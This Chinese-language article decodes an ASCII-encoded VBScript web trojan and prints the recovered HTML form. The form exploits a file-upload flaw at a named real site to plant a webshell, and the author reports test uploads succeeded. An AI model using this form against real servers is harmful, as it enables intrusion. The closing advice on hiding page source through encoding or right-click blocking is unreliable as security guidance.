对某ASC加密网马的破解和利用(图)

1、网马初探
    在浏览器中打开网马,这个网马的功能比较简单,主要用来上传功能更强的网马。比较有特色的是可以在目标网页的上传漏洞,自己修改修改配置。查看该网马的源代码,发现该网马加密了,很明显是用ASC加密。(图1)
    
    2、网马分析
    虽然该网马的核心功能代码进行ASC加密了,但其框架一目了然。其代码及其解释如下:
    
    '可以看到该网马是一个VB脚本
    function rechange(k)
    '定义了一个rechange函数,该函数定义了一个变量k
    s=Split(k,",")
    'split的作用是把k以“,”分开,把其定义为一个数组
    t=""
    给t赋空值;
    For i = 0 To UBound(s)
    t=t Chrw(eval(s(i)))
    用for进行循环转换,把t值转换为字符,依次累加。UBound是数组的维数,Chrw是字符转换函数。
    Next
    rechange=t
    把t返回到函数
    End Function
    t="60,33,68,79,67,84,89,80,69,32,104,116,109,108,32,80,85,66,76,73,67,32,34,45,47,47,87,51,67,47,47,68,84,68,32,88,72,84,77,76,32,49,46,48,32,84,114,97,110,115,105,116,105,111,110,97,108,47,......"
    '中间省略N多,这就是网马的功能代码
    document.write rechange(t)
    '在浏览器中输出函数值
    3、网马解密
    可以自行编写一个ASC解密工具,笔者从网上下载了别人的ASC解密代码,然后根据该网马的加密原理进行修改重新编译生成解密工具。
    运行该工具,把该网马源代码t后面的值拷贝至工具相应的文本框中点击解密,即可还原该网马的源代码。(图2)
    
    
    
     <body>
    <form action=http://www.51iccard.com/upfile_other.asp method=post name=form1 onsubmit=return
    click() enctype=multipart/form-data>
    <p align="center"><span class="STYLE4"> 源(</span><span class="STYLE3">图片</span><span class="STYLE4">)文件:
    </span>
    <input name="filename" type="file" class="buttonUnActive" size="20">
    <span class="STYLE4">
    目标(</span><span class="STYLE3">大马</span><span class="STYLE4">)文件:
    </span>
    <input name="filename1" type=file class=buttonUnActive size=20></p>
    <p align="center">
    <input name=submit type=submit class="button" style=border"1px value=上传大马 double rgb(88.88.88);font:9pt>
    <input name=imgwidth type=hidden id=imgwidth>
    <input name=imgheight type=hidden id=imgheight>
    <input name=aligntype type=hidden id="channelid" value="0">
    <input name="channelid" type="hidden" id="channelurlid" value=0>
    <input name="id" type="hidden" id="id2">
    </p>
    
    
    
    4、解密效果
    拷贝解密后的html代码保存为一test.htm文件,在浏览器中打开,进行上传测试成功,说明对该网马的ASC解密成功。(图3)
    
    5、加密利用
    在破解了该网马的ASC加密之后,我们利用该网马的加密原理对我们的网页进行加密,达到保护网页代码的效果。ASC加密主要用来保护静态页面代码,动态代码由于在服务器端,客户端显示的只是运行结果。“IT专家网”的页面是动态生成的,作为演示就以它为例进行。
    查看并拷贝网页代码,通过“ASCCII速查器”把字符转换成ASC值。然后把生成的ASC值拷贝到我们破解的网马代码中作为t的值。这样可以别人就不能看到网页源代码,看到的只是其的ASC值,对网页代码起到了一定的保护作用,运行效果和加密前完全一样。(图4)
    
    总结:ASC加密是当前静态网页加密的主要形式,从上面笔者对某网马的解密看,这种加密形式并不能从根本上保证网页代码的安全。基于笔者及其朋友网站维护的经验,推荐几种网页加密方法:
    1、脚本加密,通过类似VB、JAVA这样脚本代码实现:封锁鼠标右键、禁止查看源文件、链接调用地址加密等功能。
    2、IIS的密码,通过对IIS的安全、验证等部署,防止非授权的访问。
    3、ASP程序加密,使用ASP程序来给网页进行加密,现在大多数网站都使用ASP程序,它对Web服务器没有具体要求,而其加密就是借助数据库及ASP程序进行设计,来实现一种通用网页加密。
    4、软件加密,现在给网页加密的软件非常多,其基本原理都是利用javascript代码,只不过是这些软件都自动准备好了这些代码,只需使用者将网页源代码粘进去点击“加密”按钮就可以了。